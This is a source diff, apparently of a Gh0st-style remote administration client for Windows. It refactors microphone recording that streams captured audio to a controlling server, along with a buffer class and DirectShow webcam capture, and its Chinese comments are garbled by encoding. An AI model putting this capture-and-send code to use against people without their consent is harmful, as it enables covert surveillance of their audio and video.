WAIT (m_hThreadCallBack, 30);
|
||||
if (m_hThreadCallBack)
|
||||
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
||||
}
|
||||
|
||||
for (int i = 0; i < 2; i++)
|
||||
{
|
||||
delete [] m_InAudioData[i];
|
||||
m_InAudioData[i] = NULL;
|
||||
delete [] m_InAudioHeader[i];
|
||||
m_InAudioHeader[i] = NULL;
|
||||
}
|
||||
if (m_hEventWaveIn)
|
||||
{
|
||||
SetEvent(m_hEventWaveIn);
|
||||
@@ -80,15 +61,40 @@ CAudio::~CAudio()
|
||||
m_hStartRecord = NULL;
|
||||
}
|
||||
|
||||
if (m_bIsWaveInUsed)
|
||||
{
|
||||
waveInStop(m_hWaveIn);
|
||||
waveInReset(m_hWaveIn);
|
||||
for (int i = 0; i < 2; ++i)
|
||||
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
|
||||
waveInClose(m_hWaveIn);
|
||||
WAIT (m_hThreadCallBack, 30);
|
||||
if (m_hThreadCallBack)
|
||||
Mprintf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
||||
TerminateThread(m_Thread, -999);
|
||||
m_Thread = NULL;
|
||||
}
|
||||
|
||||
for (int i = 0; i < 2; ++i)
|
||||
{
|
||||
delete [] m_InAudioData[i];
|
||||
m_InAudioData[i] = NULL;
|
||||
delete [] m_InAudioHeader[i];
|
||||
m_InAudioHeader[i] = NULL;
|
||||
}
|
||||
|
||||
if (m_bIsWaveOutUsed)
|
||||
{
|
||||
waveOutReset(m_hWaveOut);
|
||||
for (int i = 0; i < 2; i++)
|
||||
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
if (m_InAudioHeader[i])
|
||||
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
}
|
||||
waveOutClose(m_hWaveOut);
|
||||
}
|
||||
|
||||
for (int i = 0; i < 2; i++)
|
||||
for (int i = 0; i < 2; ++i)
|
||||
{
|
||||
delete [] m_OutAudioData[i];
|
||||
m_OutAudioData[i] = NULL;
|
||||
@@ -102,9 +108,8 @@ BOOL CAudio::InitializeWaveIn()
|
||||
MMRESULT mmResult;
|
||||
DWORD dwThreadID = 0;
|
||||
|
||||
HANDLE h = NULL;
|
||||
m_hThreadCallBack = h = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
|
||||
m_hThreadCallBack = m_Thread = CreateThread(NULL, 0,
|
||||
waveInCallBack, (LPVOID)this,
|
||||
CREATE_SUSPENDED, &dwThreadID);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>豸COM 1 ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2 ֧<><D6A7>ͨ<EFBFBD><CDA8><EFBFBD>̻߳ص<CCBB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -114,12 +119,11 @@ BOOL CAudio::InitializeWaveIn()
|
||||
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
{
|
||||
CloseHandle(h);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//¼<><C2BC><EFBFBD>豸 <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
for (int i=0; i<2; i++)
|
||||
for (int i=0; i<2; ++i)
|
||||
{
|
||||
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||
@@ -129,9 +133,10 @@ BOOL CAudio::InitializeWaveIn()
|
||||
}
|
||||
|
||||
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
||||
|
||||
ResumeThread(h);
|
||||
CloseHandle(h);
|
||||
if (m_Thread!=NULL)
|
||||
{
|
||||
ResumeThread(m_Thread);
|
||||
}
|
||||
waveInStart(m_hWaveIn); //¼<><C2BC>
|
||||
|
||||
m_bIsWaveInUsed = TRUE;
|
||||
@@ -146,10 +151,7 @@ LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
if (dwBufferSize == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
SetEvent(m_hStartRecord);
|
||||
WaitForSingleObject(m_hEventWaveIn, INFINITE);
|
||||
*dwBufferSize = m_ulBufferLength;
|
||||
@@ -170,16 +172,17 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
||||
{
|
||||
SetEvent(This->m_hEventWaveIn);
|
||||
WaitForSingleObject(This->m_hStartRecord, INFINITE);
|
||||
if (This->m_bExit)
|
||||
break;
|
||||
|
||||
Sleep(1);
|
||||
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
|
||||
|
||||
|
||||
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
|
||||
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
||||
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
return -1;
|
||||
break;
|
||||
}
|
||||
|
||||
if (Msg.message == MM_WIM_CLOSE)
|
||||
@@ -191,10 +194,10 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
||||
DispatchMessage(&Msg);
|
||||
}
|
||||
|
||||
std::cout<<"waveInCallBack end\n";
|
||||
Mprintf("waveInCallBack end\n");
|
||||
This->m_hThreadCallBack = false;
|
||||
|
||||
return 0;
|
||||
return 0XDEADAAAA;
|
||||
}
|
||||
|
||||
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
|
||||
@@ -215,8 +218,8 @@ BOOL CAudio::InitializeWaveOut()
|
||||
{
|
||||
if (!waveOutGetNumDevs())
|
||||
return FALSE;
|
||||
int i;
|
||||
for (i = 0; i < 2; i++)
|
||||
|
||||
for (int i = 0; i < 2; ++i)
|
||||
memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
MMRESULT mmResult;
|
||||
@@ -224,7 +227,7 @@ BOOL CAudio::InitializeWaveOut()
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
return false;
|
||||
|
||||
for (i = 0; i < 2; i++)
|
||||
for (int i = 0; i < 2; ++i)
|
||||
{
|
||||
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
|
||||
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||
|
||||
@@ -26,9 +26,10 @@ public:
|
||||
HWAVEIN m_hWaveIn; //<2F>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>
|
||||
DWORD m_nWaveInIndex;
|
||||
bool m_hThreadCallBack;
|
||||
HANDLE m_Thread;// waveInCallBack<63>߳<EFBFBD>
|
||||
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
|
||||
BOOL CAudio::InitializeWaveIn();
|
||||
LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
|
||||
BOOL InitializeWaveIn();
|
||||
BOOL m_bIsWaveInUsed;
|
||||
|
||||
HWAVEOUT m_hWaveOut;
|
||||
@@ -37,8 +38,8 @@ public:
|
||||
DWORD m_nWaveOutIndex;
|
||||
LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
|
||||
BOOL CAudio::InitializeWaveOut();
|
||||
BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
|
||||
BOOL InitializeWaveOut();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||
|
||||
@@ -8,15 +8,14 @@
|
||||
#include <Mmsystem.h>
|
||||
#include <IOSTREAM>
|
||||
|
||||
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
Mprintf("new CAudioManager %p\n", this);
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
m_AudioObject = NULL;
|
||||
|
||||
@@ -26,12 +25,12 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
|
||||
}
|
||||
|
||||
BYTE bToken = TOKEN_AUDIO_START;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
|
||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szPacket = NULL;
|
||||
|
||||
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
|
||||
(LPVOID)this, 0, NULL);
|
||||
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
|
||||
@@ -41,12 +40,13 @@ VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
case COMMAND_NEXT:
|
||||
{
|
||||
NotifyDialogIsOpen();
|
||||
if (1 == ulLength)
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
m_AudioObject->PlayBuffer(szBuffer, ulLength);
|
||||
{
|
||||
m_AudioObject->PlayBuffer(szBuffer, ulLength);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -57,34 +57,35 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
|
||||
CAudioManager *This = (CAudioManager *)lParam;
|
||||
while (This->m_bIsWorking)
|
||||
{
|
||||
This->SendRecordBuffer();
|
||||
if(!This->SendRecordBuffer())
|
||||
Sleep(50);
|
||||
}
|
||||
|
||||
cout<<"CAudioManager WorkThread end\n";
|
||||
Mprintf("CAudioManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int CAudioManager::SendRecordBuffer()
|
||||
BOOL CAudioManager::SendRecordBuffer()
|
||||
{
|
||||
DWORD dwBufferSize = 0;
|
||||
DWORD dwReturn = 0;
|
||||
BOOL dwReturn = 0;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
|
||||
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
|
||||
if (szBuffer == NULL)
|
||||
return 0;
|
||||
//<2F><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||
LPBYTE szPacket = new BYTE[dwBufferSize + 1];
|
||||
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><CDB8><EFBFBD>Ϣ
|
||||
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
memcpy(szPacket + 1, szBuffer, dwBufferSize);
|
||||
szPacket[dwBufferSize] = 0;
|
||||
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
if (dwBufferSize > 0)
|
||||
{
|
||||
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
|
||||
}
|
||||
delete szPacket;
|
||||
return dwReturn;
|
||||
}
|
||||
|
||||
@@ -100,6 +101,12 @@ CAudioManager::~CAudioManager()
|
||||
delete m_AudioObject;
|
||||
m_AudioObject = NULL;
|
||||
}
|
||||
if (szPacket)
|
||||
{
|
||||
delete [] szPacket;
|
||||
szPacket = NULL;
|
||||
}
|
||||
Mprintf("~CAudioManager %p\n", this);
|
||||
}
|
||||
|
||||
//USB
|
||||
|
||||
@@ -18,14 +18,15 @@ class CAudioManager : public CManager
|
||||
public:
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
BOOL Initialize();
|
||||
CAudioManager(IOCPClient* ClientObject, int n);
|
||||
CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr);
|
||||
virtual ~CAudioManager();
|
||||
BOOL m_bIsWorking;
|
||||
HANDLE m_hWorkThread;
|
||||
static DWORD WorkThread(LPVOID lParam);
|
||||
int CAudioManager::SendRecordBuffer();
|
||||
static DWORD WINAPI WorkThread(LPVOID lParam);
|
||||
BOOL SendRecordBuffer();
|
||||
|
||||
CAudio* m_AudioObject;
|
||||
LPBYTE szPacket; // <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
#ifdef _WIN32
|
||||
#include "StdAfx.h"
|
||||
#endif
|
||||
|
||||
#include "Buffer.h"
|
||||
#include <math.h>
|
||||
|
||||
@@ -18,7 +21,7 @@ CBuffer::~CBuffer(void)
|
||||
{
|
||||
if (m_Base)
|
||||
{
|
||||
VirtualFree(m_Base, 0, MEM_RELEASE);
|
||||
MVirtualFree(m_Base, 0, MEM_RELEASE);
|
||||
m_Base = NULL;
|
||||
}
|
||||
|
||||
@@ -30,102 +33,101 @@ CBuffer::~CBuffer(void)
|
||||
|
||||
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength > GetBufferMaxLength())
|
||||
if (ulLength > m_ulMaxLength)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
if (ulLength > GetBufferLength())
|
||||
ULONG len = m_Ptr - m_Base;
|
||||
if (ulLength > len)
|
||||
{
|
||||
ulLength = GetBufferLength();
|
||||
ulLength = len;
|
||||
}
|
||||
|
||||
if (ulLength)
|
||||
{
|
||||
CopyMemory(Buffer,m_Base,ulLength);
|
||||
|
||||
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
|
||||
MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength);
|
||||
m_Ptr -= ulLength;
|
||||
}
|
||||
|
||||
DeAllocateBuffer(GetBufferLength());
|
||||
DeAllocateBuffer(m_Ptr - m_Base);
|
||||
|
||||
return ulLength;
|
||||
}
|
||||
|
||||
|
||||
|
||||
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>С
|
||||
VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
if (ulLength < GetBufferLength())
|
||||
return 0;
|
||||
int len = m_Ptr - m_Base;
|
||||
if (ulLength < len)
|
||||
return;
|
||||
|
||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
|
||||
if (GetBufferMaxLength() <= ulNewMaxLength)
|
||||
if (m_ulMaxLength <= ulNewMaxLength)
|
||||
{
|
||||
return 0;
|
||||
return;
|
||||
}
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL)
|
||||
return;
|
||||
|
||||
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
|
||||
CopyMemory(NewBase,m_Base,ulv1);
|
||||
CopyMemory(NewBase,m_Base,len);
|
||||
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||
|
||||
m_Base = NewBase;
|
||||
|
||||
m_Ptr = m_Base + ulv1;
|
||||
m_Ptr = m_Base + len;
|
||||
|
||||
m_ulMaxLength = ulNewMaxLength;
|
||||
|
||||
return m_ulMaxLength;
|
||||
}
|
||||
|
||||
|
||||
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024
|
||||
if (ReAllocateBuffer(ulLength + (m_Ptr - m_Base)) == FALSE)
|
||||
{
|
||||
return false;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5
|
||||
|
||||
CopyMemory(m_Ptr, Buffer, ulLength);
|
||||
m_Ptr+=ulLength;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>泤<EFBFBD>Ȳ<EFBFBD><C8B2><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
if (ulLength < GetBufferMaxLength())
|
||||
return 0;
|
||||
if (ulLength < m_ulMaxLength)
|
||||
return TRUE;
|
||||
|
||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL)
|
||||
{
|
||||
return -1;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ULONG ulv1 = GetBufferLength(); //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
CopyMemory(NewBase,m_Base,ulv1);
|
||||
ULONG len = m_Ptr - m_Base;
|
||||
CopyMemory(NewBase, m_Base, len);
|
||||
|
||||
if (m_Base)
|
||||
{
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
MVirtualFree(m_Base,0,MEM_RELEASE);
|
||||
}
|
||||
m_Base = NewBase;
|
||||
m_Ptr = m_Base + ulv1; //1024
|
||||
m_Ptr = m_Base + len;
|
||||
m_ulMaxLength = ulNewMaxLength;
|
||||
|
||||
m_ulMaxLength = ulNewMaxLength; //2048
|
||||
|
||||
return m_ulMaxLength;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
VOID CBuffer::ClearBuffer()
|
||||
{
|
||||
m_Ptr = m_Base;
|
||||
@@ -135,27 +137,15 @@ VOID CBuffer::ClearBuffer()
|
||||
|
||||
|
||||
|
||||
ULONG CBuffer::GetBufferLength() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
ULONG CBuffer::GetBufferLength() const
|
||||
{
|
||||
if (m_Base == NULL)
|
||||
return 0;
|
||||
|
||||
return (ULONG)m_Ptr - (ULONG)m_Base;
|
||||
return m_Ptr - m_Base;
|
||||
}
|
||||
|
||||
|
||||
ULONG CBuffer::GetBufferMaxLength()
|
||||
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
|
||||
{
|
||||
return m_ulMaxLength;
|
||||
}
|
||||
|
||||
PBYTE CBuffer::GetBuffer(ULONG ulPos)
|
||||
{
|
||||
if (m_Base==NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
if (ulPos>=GetBufferLength())
|
||||
if (m_Base==NULL || ulPos>=(m_Ptr - m_Base))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
#include "../common/commands.h"
|
||||
|
||||
class CBuffer
|
||||
{
|
||||
@@ -8,14 +8,13 @@ public:
|
||||
CBuffer(void);
|
||||
~CBuffer(void);
|
||||
|
||||
ULONG GetBufferMaxLength();
|
||||
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
ULONG GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
|
||||
ULONG DeAllocateBuffer(ULONG ulLength);
|
||||
ULONG GetBufferLength() const; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
VOID DeAllocateBuffer(ULONG ulLength);
|
||||
VOID ClearBuffer();
|
||||
ULONG ReAllocateBuffer(ULONG ulLength);
|
||||
BOOL ReAllocateBuffer(ULONG ulLength);
|
||||
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
PBYTE GetBuffer(ULONG ulPos=0);
|
||||
PBYTE GetBuffer(ULONG ulPos=0) const;
|
||||
|
||||
protected:
|
||||
PBYTE m_Base;
|
||||
|
||||
@@ -8,22 +8,27 @@
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
CSampleGrabberCB mCB;
|
||||
CSampleGrabberCB CCaptureVideo::mCB;
|
||||
|
||||
CCaptureVideo::CCaptureVideo()
|
||||
{
|
||||
if(FAILED(CoInitialize(NULL)))
|
||||
{
|
||||
return;
|
||||
}
|
||||
m_pCapture = NULL;
|
||||
m_pGB = NULL;
|
||||
m_pMC = NULL;
|
||||
m_pVW = NULL;
|
||||
m_pVW = NULL;
|
||||
m_pBF = NULL;
|
||||
m_pGrabber = NULL;
|
||||
m_bExit = FALSE;
|
||||
m_hWnd = NULL;
|
||||
if (FAILED(CoInitialize(NULL)))
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
CCaptureVideo::~CCaptureVideo()
|
||||
{
|
||||
m_bExit = TRUE;
|
||||
if(m_pMC)m_pMC->StopWhenReady();
|
||||
if(m_pVW){
|
||||
m_pVW->put_Visible(OAFALSE);
|
||||
@@ -39,10 +44,9 @@ CCaptureVideo::~CCaptureVideo()
|
||||
CoUninitialize() ;
|
||||
}
|
||||
|
||||
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
{
|
||||
printf("CCaptureVideo call Open\n");
|
||||
Mprintf("CCaptureVideo call Open\n");
|
||||
HRESULT hResult = S_OK;
|
||||
do
|
||||
{
|
||||
@@ -55,7 +59,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
||||
|
||||
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
|
||||
IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||
IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||
if(FAILED(hResult))
|
||||
break;
|
||||
|
||||
@@ -119,7 +123,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
break;
|
||||
} while (false);
|
||||
|
||||
printf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||
Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||
|
||||
return hResult;
|
||||
}
|
||||
@@ -254,14 +258,16 @@ void CCaptureVideo::SendEnd() //
|
||||
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
||||
{
|
||||
BYTE *szBuffer = NULL;
|
||||
int n = 200; // 10sû<73>л<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>NULL
|
||||
do
|
||||
{
|
||||
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
|
||||
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
|
||||
{
|
||||
szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (szBuffer = mCB.GetNextScreen(dwSize)) //<2F>Ƿ<EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ
|
||||
break;
|
||||
}
|
||||
} while (szBuffer==NULL);
|
||||
|
||||
Sleep(50);
|
||||
} while (!m_bExit && --n);
|
||||
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
@@ -13,12 +13,59 @@
|
||||
#include <strmif.h>
|
||||
#include <CONTROL.H>
|
||||
#include <ATLBASE.H>
|
||||
#include <qedit.h>
|
||||
#include <amvideo.h>
|
||||
#include <DShow.h>
|
||||
|
||||
#pragma comment(lib,"Strmiids.lib")
|
||||
|
||||
EXTERN_C const IID IID_ISampleGrabberCB;
|
||||
|
||||
EXTERN_C const CLSID CLSID_SampleGrabber;
|
||||
|
||||
EXTERN_C const IID IID_ISampleGrabber;
|
||||
|
||||
struct ISampleGrabberCB : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE SampleCB(
|
||||
double SampleTime,
|
||||
IMediaSample * pSample) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE BufferCB(
|
||||
double SampleTime,
|
||||
BYTE* pBuffer,
|
||||
long BufferLen) = 0;
|
||||
|
||||
};
|
||||
|
||||
struct ISampleGrabber : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE SetOneShot(
|
||||
BOOL OneShot) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetMediaType(
|
||||
const AM_MEDIA_TYPE* pType) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType(
|
||||
AM_MEDIA_TYPE* pType) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetBufferSamples(
|
||||
BOOL BufferThem) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer(
|
||||
/* [out][in] */ long* pBufferSize,
|
||||
/* [out] */ long* pBuffer) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetCurrentSample(
|
||||
/* [retval][out] */ IMediaSample** ppSample) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetCallback(
|
||||
ISampleGrabberCB* pCallback,
|
||||
long WhichMethodToCallback) = 0;
|
||||
|
||||
};
|
||||
